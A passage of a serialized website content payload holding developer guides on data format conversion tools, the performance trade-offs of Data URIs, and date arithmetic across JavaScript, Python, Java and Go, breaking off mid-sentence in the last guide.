encode",[216,86550,86551],{},"API authentication",[199,86553,86554,86557,86560],{},[216,86555,86556],{},"Diffing",[216,86558,86559],{},"Compare two JSON files, spot config changes",[216,86561,640],{},[16,86563,86564],{},"Most developers handle these tasks with a mix of command-line tools, one-off scripts, and browser-based utilities. Browser-based tools win when you need a quick result without writing code.",[11,86566,86568],{"id":86567},"format-converters","Format Converters",[16,86570,86571],{},"Format conversion is the most frequent transformation task. You move data between systems that speak different formats.",[33,86573,86575],{"id":86574},"csv-to-json-and-back","CSV to JSON and Back",[16,86577,86578],{},"Spreadsheet exports come as CSV. Web APIs consume JSON. You need both directions regularly.",[16,86580,86581,86584],{},[47,86582,86583],{},"CSV to JSON use case:"," You receive a product catalog as a CSV export from the marketing team. Your application API expects JSON. Convert the file, map the types, and post it.",[16,86586,86587,86590],{},[47,86588,86589],{},"JSON to CSV use case:"," Your API returns a list of users as JSON. The finance team wants a CSV for their spreadsheet reports. Flatten the nested fields and export.",[16,86592,421,86593,86595],{},[98,86594,81194],{"href":81193}," handles both directions with delimiter selection, type detection, and proper quoting.",[33,86597,86599],{"id":86598},"json-formatting-and-validation","JSON Formatting and Validation",[16,86601,86602],{},"Raw API responses are often minified — a single line of compact JSON with no whitespace. That is unreadable for debugging.",[135,86604,86606],{"className":23484,"code":86605,"language":23486,"meta":141,"style":141},"\u002F\u002F Minified API response\n{\"users\":[{\"id\":1,\"name\":\"Alice\",\"role\":\"admin\"},{\"id\":2,\"name\":\"Bob\",\"role\":\"editor\"}],\"total\":2,\"page\":1}\n\n\u002F\u002F Formatted for readability\n{\n  \"users\": [\n    { \"id\": 1, \"name\": \"Alice\", \"role\": \"admin\" },\n    { \"id\": 2, \"name\": \"Bob\", \"role\": \"editor\" }\n  ],\n  \"total\": 2,\n  \"page\": 1\n}\n",[143,86607,86608,86613,86692,86696,86701,86705,86711,86739,86767,86771,86782,86791],{"__ignoreMap":141},[1560,86609,86610],{"class":1562,"line":1563},[1560,86611,86612],{"class":1649},"\u002F\u002F Minified API response\n",[1560,86614,86615,86617,86620,86623,86625,86627,86629,86631,86633,86635,86637,86639,86642,86644,86646,86649,86651,86653,86655,86657,86659,86661,86663,86665,86667,86669,86671,86674,86677,86679,86681,86683,86686,86688,86690],{"class":1562,"line":337},[1560,86616,51622],{"class":1570},[1560,86618,86619],{"class":1576},"\"users\"",[1560,86621,86622],{"class":1570},":[{",[1560,86624,85637],{"class":1576},[1560,86626,8037],{"class":1570},[1560,86628,3585],{"class":1576},[1560,86630,6858],{"class":1570},[1560,86632,84838],{"class":1576},[1560,86634,8037],{"class":1570},[1560,86636,23503],{"class":5634},[1560,86638,6858],{"class":1570},[1560,86640,86641],{"class":1576},"\"role\"",[1560,86643,8037],{"class":1570},[1560,86645,81849],{"class":5634},[1560,86647,86648],{"class":1570},"},{",[1560,86650,85637],{"class":1576},[1560,86652,8037],{"class":1570},[1560,86654,10099],{"class":1576},[1560,86656,6858],{"class":1570},[1560,86658,84838],{"class":1576},[1560,86660,8037],{"class":1570},[1560,86662,80653],{"class":5634},[1560,86664,6858],{"class":1570},[1560,86666,86641],{"class":1576},[1560,86668,8037],{"class":1570},[1560,86670,85664],{"class":5634},[1560,86672,86673],{"class":1570},"}],",[1560,86675,86676],{"class":1576},"\"total\"",[1560,86678,8037],{"class":1570},[1560,86680,10099],{"class":1576},[1560,86682,6858],{"class":1570},[1560,86684,86685],{"class":1576},"\"page\"",[1560,86687,8037],{"class":1570},[1560,86689,3585],{"class":1576},[1560,86691,1585],{"class":1570},[1560,86693,86694],{"class":1562,"line":343},[1560,86695,1702],{"emptyLinePlaceholder":363},[1560,86697,86698],{"class":1562,"line":365},[1560,86699,86700],{"class":1649},"\u002F\u002F Formatted for readability\n",[1560,86702,86703],{"class":1562,"line":889},[1560,86704,23493],{"class":1570},[1560,86706,86707,86709],{"class":1562,"line":1710},[1560,86708,81450],{"class":1576},[1560,86710,82876],{"class":1570},[1560,86712,86713,86715,86717,86719,86721,86723,86725,86727,86729,86731,86733,86735,86737],{"class":1562,"line":1717},[1560,86714,44815],{"class":1570},[1560,86716,85637],{"class":1576},[1560,86718,1663],{"class":1570},[1560,86720,3585],{"class":1576},[1560,86722,1459],{"class":1570},[1560,86724,84838],{"class":1576},[1560,86726,1663],{"class":1570},[1560,86728,23503],{"class":5634},[1560,86730,1459],{"class":1570},[1560,86732,86641],{"class":1576},[1560,86734,1663],{"class":1570},[1560,86736,81849],{"class":5634},[1560,86738,21223],{"class":1570},[1560,86740,86741,86743,86745,86747,86749,86751,86753,86755,86757,86759,86761,86763,86765],{"class":1562,"line":1747},[1560,86742,44815],{"class":1570},[1560,86744,85637],{"class":1576},[1560,86746,1663],{"class":1570},[1560,86748,10099],{"class":1576},[1560,86750,1459],{"class":1570},[1560,86752,84838],{"class":1576},[1560,86754,1663],{"class":1570},[1560,86756,80653],{"class":5634},[1560,86758,1459],{"class":1570},[1560,86760,86641],{"class":1576},[1560,86762,1663],{"class":1570},[1560,86764,85664],{"class":5634},[1560,86766,27879],{"class":1570},[1560,86768,86769],{"class":1562,"line":2507},[1560,86770,12054],{"class":1570},[1560,86772,86773,86776,86778,86780],{"class":1562,"line":2524},[1560,86774,86775],{"class":1576},"  \"total\"",[1560,86777,1663],{"class":1570},[1560,86779,10099],{"class":1576},[1560,86781,11943],{"class":1570},[1560,86783,86784,86787,86789],{"class":1562,"line":2529},[1560,86785,86786],{"class":1576},"  \"page\"",[1560,86788,1663],{"class":1570},[1560,86790,8778],{"class":1576},[1560,86792,86793],{"class":1562,"line":2534},[1560,86794,1585],{"class":1570},[16,86796,421,86797,86799],{},[98,86798,37777],{"href":37776}," validates syntax and pretty-prints your JSON. It catches trailing commas, unclosed brackets, and malformed strings — errors that silently break parsers.",[33,86801,86803],{"id":86802},"json-to-yaml-and-back","JSON to YAML and Back",[16,86805,86806],{},"Configuration files often need to move between JSON (strict, machine-friendly) and YAML (readable, comment-friendly). Docker Compose, Kubernetes, and CI\u002FCD pipelines all use YAML, while many tools generate JSON configs.",[16,86808,86809],{},"Key differences to watch during conversion:",[41,86811,86812,86815,86818],{},[44,86813,86814],{},"YAML anchors expand into duplicate JSON content",[44,86816,86817],{},"YAML comments are stripped in JSON output",[44,86819,86820,86821,9423,86823,9423,86826,9423,86829,86832],{},"YAML coerces ",[143,86822,85138],{},[143,86824,86825],{},"no",[143,86827,86828],{},"on",[143,86830,86831],{},"off"," to booleans — quote them to preserve as strings",[33,86834,86836],{"id":86835},"diff-checking","Diff Checking",[16,86838,86839],{},"When two configurations diverge, you need to see exactly what changed. Manual comparison misses subtle differences in large files.",[16,86841,421,86842,86844],{},[98,86843,35403],{"href":35402}," highlights additions, deletions, and modifications side by side. Use it to compare API responses across environments, audit configuration changes, or verify data migrations.",[11,86846,86848],{"id":86847},"validator-tools","Validator Tools",[16,86850,86851],{},"Validation catches errors before they reach production. A malformed JSON file in a deployment pipeline can break an entire release.",[193,86853,86854,86866],{},[196,86855,86856],{},[199,86857,86858,86861,86864],{},[202,86859,86860],{},"Validator",[202,86862,86863],{},"What It Catches",[202,86865,55330],{},[211,86867,86868,86878,86889],{},[199,86869,86870,86872,86875],{},[216,86871,37777],{},[216,86873,86874],{},"Syntax errors, trailing commas, type mismatches",[216,86876,86877],{},"Before committing API payloads",[199,86879,86880,86883,86886],{},[216,86881,86882],{},"Regex Tester",[216,86884,86885],{},"Invalid patterns, unexpected matches",[216,86887,86888],{},"Before deploying validation rules",[199,86890,86891,86893,86896],{},[216,86892,35403],{},[216,86894,86895],{},"Structural differences, missing keys",[216,86897,86898],{},"After data transformations",[16,86900,86901],{},"Validate early and often. A 30-second validation check saves hours of debugging production errors.",[11,86903,86905],{"id":86904},"encoder-and-decoder-tools","Encoder and Decoder Tools",[16,86907,86908],{},"Encoding transformations are essential for web development and API integration.",[41,86910,86911,86916],{},[44,86912,86913,86915],{},[47,86914,84223],{},": Encode binary data (images, files) for embedding in JSON or HTML. Decode Base64 strings received from APIs.",[44,86917,86918,86921],{},[47,86919,86920],{},"URL Encoding",": Encode special characters in query parameters. Decode encoded URLs for debugging.",[16,86923,421,86924,86926],{},[98,86925,12162],{"href":12161}," handles text and file encoding. Use it for data URIs, API authentication tokens, and email attachments.",[11,86928,86930],{"id":86929},"workflow-patterns","Workflow Patterns",[16,86932,86933],{},"Here are three common workflows that chain multiple transformation tools together.",[33,86935,86937],{"id":86936},"api-response-to-csv-report","API Response to CSV Report",[77,86939,86940,86943,86949,86955],{},[44,86941,86942],{},"Call the API — receive minified JSON",[44,86944,86945,86946,86948],{},"Format the JSON with ",[98,86947,37777],{"href":37776}," to inspect the structure",[44,86950,86951,86952,86954],{},"Convert to CSV with ",[98,86953,81194],{"href":81193}," (JSON to CSV mode)",[44,86956,86957],{},"Open the CSV in a spreadsheet for analysis",[33,86959,86961],{"id":86960},"csv-import-to-json-api","CSV Import to JSON API",[77,86963,86964,86967,86970,86975,86978],{},[44,86965,86966],{},"Receive CSV export from a database or spreadsheet",[44,86968,86969],{},"Validate the CSV — check headers and row counts",[44,86971,86972,86973],{},"Convert to JSON with ",[98,86974,81194],{"href":81193},[44,86976,86977],{},"Format the JSON output to verify the structure",[44,86979,86980],{},"Post the JSON to your API endpoint",[33,86982,86984],{"id":86983},"configuration-format-migration","Configuration Format Migration",[77,86986,86987,86990,86993,86996,87001],{},[44,86988,86989],{},"Start with existing JSON configuration",[44,86991,86992],{},"Convert to YAML with the JSON\u002FYAML converter",[44,86994,86995],{},"Add comments and restructure using YAML anchors",[44,86997,86998,86999],{},"Compare the new YAML against the original JSON with ",[98,87000,35403],{"href":35402},[44,87002,87003],{},"Verify the migrated config loads correctly",[11,87005,87007],{"id":87006},"automation-tips","Automation Tips",[16,87009,87010],{},"Browser-based tools are fast for ad-hoc tasks. For repeated workflows, consider these automation strategies:",[41,87012,87013,87029,87035,87041],{},[44,87014,87015,6841,87018,87020,87021,87024,87025,87028],{},[47,87016,87017],{},"CLI tools:",[143,87019,35130],{}," for JSON transformations, ",[143,87022,87023],{},"csvkit"," for CSV operations, ",[143,87026,87027],{},"yq"," for YAML processing.",[44,87030,87031,87034],{},[47,87032,87033],{},"Git hooks:"," Validate JSON and YAML files before commits using pre-commit hooks.",[44,87036,87037,87040],{},[47,87038,87039],{},"CI pipelines:"," Add format validation steps to your build pipeline. Fail fast on malformed configurations.",[44,87042,87043,87046],{},[47,87044,87045],{},"Script wrappers:"," Write small shell scripts that chain conversion commands for recurring workflows.",[16,87048,87049],{},"The goal is to automate the repetitive part and keep manual tools available for the exploratory part.",[11,87051,1355],{"id":1354},[41,87053,87054,87057,87060,87063,87066],{},[44,87055,87056],{},"Format conversion is the most common data transformation — CSV, JSON, YAML, and XML each serve different systems and audiences.",[44,87058,87059],{},"Validate after every transformation. Silent data corruption is more dangerous than an obvious error.",[44,87061,87062],{},"Browser-based tools solve 90% of ad-hoc transformation needs without writing code.",[44,87064,87065],{},"Chain tools into workflows: format, convert, validate, diff — a reliable sequence for data migration.",[44,87067,87068],{},"Automate recurring transformations with CLI tools and CI checks to prevent human error.",[11,87070,286],{"id":285},[16,87072,87073],{},"Start transforming your data now:",[41,87075,87076,87081,87085,87090,87096],{},[44,87077,87078,87080],{},[98,87079,81194],{"href":81193}," — Convert between CSV and JSON formats",[44,87082,87083,37778],{},[98,87084,37777],{"href":37776},[44,87086,87087,87089],{},[98,87088,12162],{"href":12161}," — Encode and decode Base64 strings",[44,87091,87092,87095],{},[98,87093,86882],{"href":87094},"\u002Ftools\u002Fregex-tester"," — Test and debug regular expressions",[44,87097,87098,87100],{},[98,87099,35403],{"href":35402}," — Compare two texts or data files",[11,87102,321],{"id":320},[41,87104,87105,87110,87116],{},[44,87106,87107,87109],{},[98,87108,85431],{"href":81240}," — Parsing algorithms, quoting rules, and edge cases",[44,87111,87112,87115],{},[98,87113,87114],{"href":81204},"Data Format Comparison"," — Side-by-side comparison of CSV, JSON, XML, and YAML",[44,87117,87118,87120],{},[98,87119,37788],{"href":37787}," — Configuration format decision guide",[2043,87122,87123],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":87125},[87126,87127,87128,87134,87135,87136,87141,87142,87143,87144],{"id":86472,"depth":337,"text":86473},{"id":86482,"depth":337,"text":86483},{"id":86567,"depth":337,"text":86568,"children":87129},[87130,87131,87132,87133],{"id":86574,"depth":343,"text":86575},{"id":86598,"depth":343,"text":86599},{"id":86802,"depth":343,"text":86803},{"id":86835,"depth":343,"text":86836},{"id":86847,"depth":337,"text":86848},{"id":86904,"depth":337,"text":86905},{"id":86929,"depth":337,"text":86930,"children":87137},[87138,87139,87140],{"id":86936,"depth":343,"text":86937},{"id":86960,"depth":343,"text":86961},{"id":86983,"depth":343,"text":86984},{"id":87006,"depth":337,"text":87007},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Essential data transformation tools every developer needs. Format converters, validators, and cleaners for everyday workflows.",{"keywords":87147},[81238,87148],"data-transformation-tools",{"title":86467,"description":87145},"guides\u002Fdata-transformation-tools","LoGcGPXVq57p4A3IULav9nuzm-DGgjeBdkUDPM-ZiHM",{"id":87153,"title":12179,"body":87154,"date":2070,"description":87603,"extension":361,"meta":87604,"navigation":363,"path":12178,"readingTime":1717,"seo":87605,"stem":87606,"__hash__":87607},"guides\u002Fguides\u002Fdata-uri-performance.md",{"type":8,"value":87155,"toc":87588},[87156,87160,87163,87166,87170,87177,87183,87189,87195,87198,87202,87205,87264,87267,87271,87274,87303,87306,87310,87313,87339,87342,87349,87352,87421,87427,87431,87434,87473,87476,87480,87483,87506,87510,87513,87539,87541,87564,87566,87572,87574],[11,87157,87159],{"id":87158},"why-performance-matters-for-data-uris","Why Performance Matters for Data URIs",[16,87161,87162],{},"Data URIs eliminate HTTP requests, but that single benefit comes with hidden costs: larger file sizes, lost caching, slower parsing, and no progressive loading. The trade-off shifts dramatically depending on your server protocol — what helped under HTTP\u002F1.1 can hurt under HTTP\u002F2.",[16,87164,87165],{},"This guide breaks down each performance factor so you can make informed decisions about when to inline resources.",[11,87167,87169],{"id":87168},"http11-vs-http2-the-request-landscape","HTTP\u002F1.1 vs HTTP\u002F2: The Request Landscape",[16,87171,87172,87173,87176],{},"Under ",[47,87174,87175],{},"HTTP\u002F1.1",", browsers open a limited number of TCP connections (typically 6 per host). Each resource blocks a connection slot, so reducing request count has a real impact:",[135,87178,87181],{"className":87179,"code":87180,"language":140},[138],"HTTP\u002F1.1 — 10 assets:\n  6 connections × ~100ms latency = serialized downloads\n  → Reducing to 1 request (inline) saves hundreds of ms\n",[143,87182,87180],{"__ignoreMap":141},[16,87184,87185,87188],{},[47,87186,87187],{},"HTTP\u002F2"," multiplexes requests over a single connection. Assets stream in parallel without blocking each other:",[135,87190,87193],{"className":87191,"code":87192,"language":140},[138],"HTTP\u002F2 — 10 assets:\n  1 connection, 10 parallel streams\n  → Extra requests add negligible latency\n  → Base64 size penalty dominates\n",[143,87194,87192],{"__ignoreMap":141},[16,87196,87197],{},"If your server supports HTTP\u002F2 — and most CDNs do — the request-reduction argument for Data URIs largely disappears. Keep resources external and let the protocol handle efficiency.",[11,87199,87201],{"id":87200},"the-33-size-penalty","The 33% Size Penalty",[16,87203,87204],{},"Base64 encoding maps every 3 bytes of binary data to 4 ASCII characters. The math is fixed:",[193,87206,87207,87219],{},[196,87208,87209],{},[199,87210,87211,87214,87217],{},[202,87212,87213],{},"Original Size",[202,87215,87216],{},"Base64 Size",[202,87218,13024],{},[211,87220,87221,87232,87243,87253],{},[199,87222,87223,87226,87229],{},[216,87224,87225],{},"1 KB",[216,87227,87228],{},"1.33 KB",[216,87230,87231],{},"+330 bytes",[199,87233,87234,87237,87240],{},[216,87235,87236],{},"10 KB",[216,87238,87239],{},"13.3 KB",[216,87241,87242],{},"+3.3 KB",[199,87244,87245,87247,87250],{},[216,87246,21032],{},[216,87248,87249],{},"133 KB",[216,87251,87252],{},"+33 KB",[199,87254,87255,87258,87261],{},[216,87256,87257],{},"500 KB",[216,87259,87260],{},"667 KB",[216,87262,87263],{},"+167 KB",[16,87265,87266],{},"That overhead travels over the network every time the host page loads. With an external file, the browser downloads it once and caches it indefinitely.",[11,87268,87270],{"id":87269},"caching-the-biggest-hidden-cost","Caching: The Biggest Hidden Cost",[16,87272,87273],{},"When you inline an image into HTML, it inherits the cache policy of the HTML file. That means:",[41,87275,87276,87281,87287,87297],{},[44,87277,87278,87280],{},[47,87279,12931],{}," — the image re-downloads whenever the page does",[44,87282,87283,87286],{},[47,87284,87285],{},"No CDN edge caching"," — CDNs cache files by URL; a Data URI is not a separate URL",[44,87288,87289,87292,87293,87296],{},[47,87290,87291],{},"No conditional requests"," — no ",[143,87294,87295],{},"304 Not Modified"," for embedded assets",[44,87298,87299,87302],{},[47,87300,87301],{},"Cache duplication"," — the same logo Base64-encoded across 20 pages occupies 20 × 33% more space in the browser cache",[16,87304,87305],{},"For a 5 KB logo used site-wide, external caching saves roughly 100 KB of redundant transfer across 20 page views. Inlining that logo adds 100 KB plus the Base64 overhead.",[11,87307,87309],{"id":87308},"parsing-and-rendering-overhead","Parsing and Rendering Overhead",[16,87311,87312],{},"Browsers process Data URIs differently than external resources:",[77,87314,87315,87327,87333],{},[44,87316,87317,87320,87321,1531,87324,87326],{},[47,87318,87319],{},"HTML parsing blocks"," — a large Base64 string inside an ",[143,87322,87323],{},"\u003Cimg src>",[143,87325,12578],{}," forces the HTML parser to process thousands of characters before continuing",[44,87328,87329,87332],{},[47,87330,87331],{},"Base64 decoding cost"," — the CPU must decode the string back to binary before the image decoder can start",[44,87334,87335,87338],{},[47,87336,87337],{},"No progressive rendering"," — JPEG and PNG can render progressively as bytes arrive over the network; a Data URI must be fully decoded first",[16,87340,87341],{},"These costs are small for a 1 KB icon but compound quickly. Inlining five 20 KB images adds 100 KB of decode work to the critical rendering path.",[11,87343,87345,87346,87348],{"id":87344},"css-data-uris-vs-img-tags","CSS Data URIs vs ",[143,87347,10900],{}," Tags",[16,87350,87351],{},"Data URIs in CSS behave differently from those in HTML:",[193,87353,87354,87368],{},[196,87355,87356],{},[199,87357,87358,87360,87364],{},[202,87359,17960],{},[202,87361,31366,87362],{},[143,87363,12578],{},[202,87365,7476,87366],{},[143,87367,87323],{},[211,87369,87370,87381,87394,87405],{},[199,87371,87372,87375,87378],{},[216,87373,87374],{},"Render trigger",[216,87376,87377],{},"When element becomes visible",[216,87379,87380],{},"When parser reaches the tag",[199,87382,87383,87386,87389],{},[216,87384,87385],{},"Lazy load",[216,87387,87388],{},"Naturally deferred (off-screen)",[216,87390,87391,87392],{},"Needs ",[143,87393,13179],{},[199,87395,87396,87399,87402],{},[216,87397,87398],{},"Print media",[216,87400,87401],{},"May be stripped by some browsers",[216,87403,87404],{},"Usually preserved",[199,87406,87407,87409,87415],{},[216,87408,837],{},[216,87410,87411,87412,87414],{},"No native ",[143,87413,12681],{}," text",[216,87416,87417,87418,87420],{},"Supports ",[143,87419,12681],{}," attribute",[16,87422,87423,87424,87426],{},"For decorative backgrounds, CSS Data URIs avoid blocking the parser — the browser fetches them only when computing layout for visible elements. For meaningful images, ",[143,87425,10900],{}," with an external source offers better accessibility and progressive loading.",[11,87428,87430],{"id":87429},"browser-limits-and-edge-cases","Browser Limits and Edge Cases",[16,87432,87433],{},"Browsers enforce limits on Data URI handling:",[41,87435,87436,87442,87448,87467],{},[44,87437,87438,87441],{},[47,87439,87440],{},"IE 8",": 32 KB maximum Data URI size",[44,87443,87444,87447],{},[47,87445,87446],{},"Modern browsers",": No hard limit, but practical performance degrades above 64 KB",[44,87449,87450,1663,87453,1531,87456,87459,87460,87463,87464,87466],{},[47,87451,87452],{},"Content Security Policy",[143,87454,87455],{},"img-src",[143,87457,87458],{},"style-src"," must include ",[143,87461,87462],{},"data:"," — adding ",[143,87465,87462],{}," weakens CSP",[44,87468,87469,87472],{},[47,87470,87471],{},"Some email clients"," strip Data URIs entirely (Outlook desktop, Gmail clips large messages)",[16,87474,87475],{},"Always test your inline images across target browsers and email clients before committing to the approach.",[11,87477,87479],{"id":87478},"real-world-performance-data","Real-World Performance Data",[16,87481,87482],{},"Tests from HTTP Archive and WebPageTest show consistent patterns:",[41,87484,87485,87492,87499],{},[44,87486,87487,87488,87491],{},"Pages with more than 10 KB of inline images load ",[47,87489,87490],{},"15–25% slower"," on 3G connections compared to equivalent external images",[44,87493,87494,87495,87498],{},"Under HTTP\u002F2, pages with external resources reach ",[47,87496,87497],{},"First Contentful Paint 200–400ms faster"," than pages with the same resources inlined",[44,87500,87501,87502,87505],{},"The break-even point sits around ",[47,87503,87504],{},"2–4 KB"," per asset — below that, inlining saves a round-trip; above it, the size penalty dominates",[11,87507,87509],{"id":87508},"when-inlining-still-wins","When Inlining Still Wins",[16,87511,87512],{},"Despite the costs, Data URIs remain the best choice for:",[41,87514,87515,87521,87527,87533],{},[44,87516,87517,87520],{},[47,87518,87519],{},"Critical-path icons"," — a tiny logo in the above-the-fold header saves a round-trip on first paint",[44,87522,87523,87526],{},[47,87524,87525],{},"Email templates"," — external images are blocked; inline images display immediately",[44,87528,87529,87532],{},[47,87530,87531],{},"Single-use, small assets"," — a decorative divider used once saves a request without cache duplication",[44,87534,87535,87538],{},[47,87536,87537],{},"Offline-capable documents"," — self-contained HTML files that must work without a server",[11,87540,1355],{"id":1354},[41,87542,87543,87546,87549,87552,87558,87561],{},[44,87544,87545],{},"HTTP\u002F2 multiplexing eliminates most request-count benefits of Data URIs",[44,87547,87548],{},"Base64 encoding adds a fixed 33% size overhead — treat it as a tax, not a trade-off",[44,87550,87551],{},"Caching loss is the largest hidden cost: inline assets re-download with every page view",[44,87553,87554,87555,87557],{},"CSS Data URIs defer decode work; HTML ",[143,87556,10900],{}," Data URIs block the parser",[44,87559,87560],{},"Keep inline assets under 2–4 KB and limit total inline payload per page",[44,87562,87563],{},"Always measure performance impact — assumptions break under real network conditions",[11,87565,286],{"id":285},[16,87567,87568,87569,87571],{},"Test the size impact yourself with our ",[98,87570,12162],{"href":12161},". Encode a small icon, compare sizes, and decide whether inlining makes sense for your use case.",[11,87573,321],{"id":320},[41,87575,87576,87580,87584],{},[44,87577,87578],{},[98,87579,12173],{"href":12172},[44,87581,87582],{},[98,87583,10944],{"href":12217},[44,87585,87586],{},[98,87587,12185],{"href":12184},{"title":141,"searchDepth":337,"depth":337,"links":87589},[87590,87591,87592,87593,87594,87595,87597,87598,87599,87600,87601,87602],{"id":87158,"depth":337,"text":87159},{"id":87168,"depth":337,"text":87169},{"id":87200,"depth":337,"text":87201},{"id":87269,"depth":337,"text":87270},{"id":87308,"depth":337,"text":87309},{"id":87344,"depth":337,"text":87596},"CSS Data URIs vs \u003Cimg> Tags",{"id":87429,"depth":337,"text":87430},{"id":87478,"depth":337,"text":87479},{"id":87508,"depth":337,"text":87509},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Understand the performance impact of Data URIs under HTTP\u002F1.1 vs HTTP\u002F2, Base64 size overhead, caching loss, and browser limits on inline assets.",{"immutable":363},{"title":12179,"description":87603},"guides\u002Fdata-uri-performance","vWyRim9VouOLul0OtH85ULxrQS0kKnlQTz9Nt4lBoiE",{"id":87609,"title":87610,"body":87611,"date":2070,"description":88562,"extension":361,"meta":88563,"navigation":363,"path":88564,"readingTime":889,"seo":88565,"stem":88566,"__hash__":88567},"guides\u002Fguides\u002Fdate-arithmetic-different-languages.md","Date Arithmetic in Different Languages",{"type":8,"value":87612,"toc":88540},[87613,87617,87620,87624,87626,87679,87689,87691,87720,87727,87729,87758,87771,87773,87801,87808,87812,87832,87845,87849,87934,87938,87995,88005,88009,88034,88038,88041,88131,88134,88249,88253,88256,88297,88304,88307,88345,88348,88352,88500,88502,88529,88531,88537],[11,87614,87616],{"id":87615},"why-date-arithmetic-is-hard","Why Date Arithmetic Is Hard",[16,87618,87619],{},"Dates look simple — add days, subtract months, find the difference. But edge cases multiply fast: leap years, month lengths, daylight saving transitions, and time zone offsets all introduce complexity. Every language handles these differently.",[11,87621,87623],{"id":87622},"adding-days-to-a-date","Adding Days to a Date",[33,87625,9860],{"id":1609},[135,87627,87629],{"className":1607,"code":87628,"language":1609,"meta":141,"style":141},"const date = new Date('2026-01-15');\ndate.setDate(date.getDate() + 30);\n\u002F\u002F 2026-02-14 — handles month rollover automatically\n",[143,87630,87631,87652,87674],{"__ignoreMap":141},[1560,87632,87633,87635,87638,87640,87642,87645,87647,87650],{"class":1562,"line":1563},[1560,87634,8180],{"class":1669},[1560,87636,87637],{"class":1576}," date",[1560,87639,8186],{"class":1669},[1560,87641,11489],{"class":1669},[1560,87643,87644],{"class":1566}," Date",[1560,87646,1688],{"class":1570},[1560,87648,87649],{"class":5634},"'2026-01-15'",[1560,87651,1744],{"class":1570},[1560,87653,87654,87657,87660,87663,87666,87668,87670,87672],{"class":1562,"line":337},[1560,87655,87656],{"class":1570},"date.",[1560,87658,87659],{"class":1566},"setDate",[1560,87661,87662],{"class":1570},"(date.",[1560,87664,87665],{"class":1566},"getDate",[1560,87667,38111],{"class":1570},[1560,87669,9448],{"class":1669},[1560,87671,35504],{"class":1576},[1560,87673,1744],{"class":1570},[1560,87675,87676],{"class":1562,"line":343},[1560,87677,87678],{"class":1649},"\u002F\u002F 2026-02-14 — handles month rollover automatically\n",[16,87680,13680,87681,87684,87685,87688],{},[143,87682,87683],{},"Date"," mutates in place and auto-normalizes overflow. ",[143,87686,87687],{},"setDate(35)"," on January silently becomes February 4.",[33,87690,9840],{"id":8261},[135,87692,87694],{"className":8259,"code":87693,"language":8261,"meta":141,"style":141},"from datetime import date, timedelta\n\nd = date(2026, 1, 15)\nresult = d + timedelta(days=30)\n# datetime.date(2026, 2, 14)\n",[143,87695,87696,87701,87705,87710,87715],{"__ignoreMap":141},[1560,87697,87698],{"class":1562,"line":1563},[1560,87699,87700],{},"from datetime import date, timedelta\n",[1560,87702,87703],{"class":1562,"line":337},[1560,87704,1702],{"emptyLinePlaceholder":363},[1560,87706,87707],{"class":1562,"line":343},[1560,87708,87709],{},"d = date(2026, 1, 15)\n",[1560,87711,87712],{"class":1562,"line":365},[1560,87713,87714],{},"result = d + timedelta(days=30)\n",[1560,87716,87717],{"class":1562,"line":889},[1560,87718,87719],{},"# datetime.date(2026, 2, 14)\n",[16,87721,87722,87723,87726],{},"Python's ",[143,87724,87725],{},"timedelta"," is explicit and immutable — the original date is never modified.",[33,87728,9880],{"id":10185},[135,87730,87732],{"className":10198,"code":87731,"language":10185,"meta":141,"style":141},"import java.time.LocalDate;\n\nLocalDate date = LocalDate.of(2026, 1, 15);\nLocalDate result = date.plusDays(30);\n\u002F\u002F 2026-02-14\n",[143,87733,87734,87739,87743,87748,87753],{"__ignoreMap":141},[1560,87735,87736],{"class":1562,"line":1563},[1560,87737,87738],{},"import java.time.LocalDate;\n",[1560,87740,87741],{"class":1562,"line":337},[1560,87742,1702],{"emptyLinePlaceholder":363},[1560,87744,87745],{"class":1562,"line":343},[1560,87746,87747],{},"LocalDate date = LocalDate.of(2026, 1, 15);\n",[1560,87749,87750],{"class":1562,"line":365},[1560,87751,87752],{},"LocalDate result = date.plusDays(30);\n",[1560,87754,87755],{"class":1562,"line":889},[1560,87756,87757],{},"\u002F\u002F 2026-02-14\n",[16,87759,87760,87761,87764,87765,1856,87767,87770],{},"Java 8+ ",[143,87762,87763],{},"java.time"," is immutable and fluent. Avoid the legacy ",[143,87766,87683],{},[143,87768,87769],{},"Calendar"," classes.",[33,87772,9900],{"id":39417},[135,87774,87776],{"className":39424,"code":87775,"language":39417,"meta":141,"style":141},"import \"time\"\n\ndate := time.Date(2026, 1, 15, 0, 0, 0, 0, time.UTC)\nresult := date.AddDate(0, 0, 30)\n\u002F\u002F 2026-02-14\n",[143,87777,87778,87783,87787,87792,87797],{"__ignoreMap":141},[1560,87779,87780],{"class":1562,"line":1563},[1560,87781,87782],{},"import \"time\"\n",[1560,87784,87785],{"class":1562,"line":337},[1560,87786,1702],{"emptyLinePlaceholder":363},[1560,87788,87789],{"class":1562,"line":343},[1560,87790,87791],{},"date := time.Date(2026, 1, 15, 0, 0, 0, 0, time.UTC)\n",[1560,87793,87794],{"class":1562,"line":365},[1560,87795,87796],{},"result := date.AddDate(0, 0, 30)\n",[1560,87798,87799],{"class":1562,"line":889},[1560,87800,87757],{},[16,87802,87803,87804,87807],{},"Go's ",[143,87805,87806],{},"AddDate"," takes years, months, days — making complex offsets 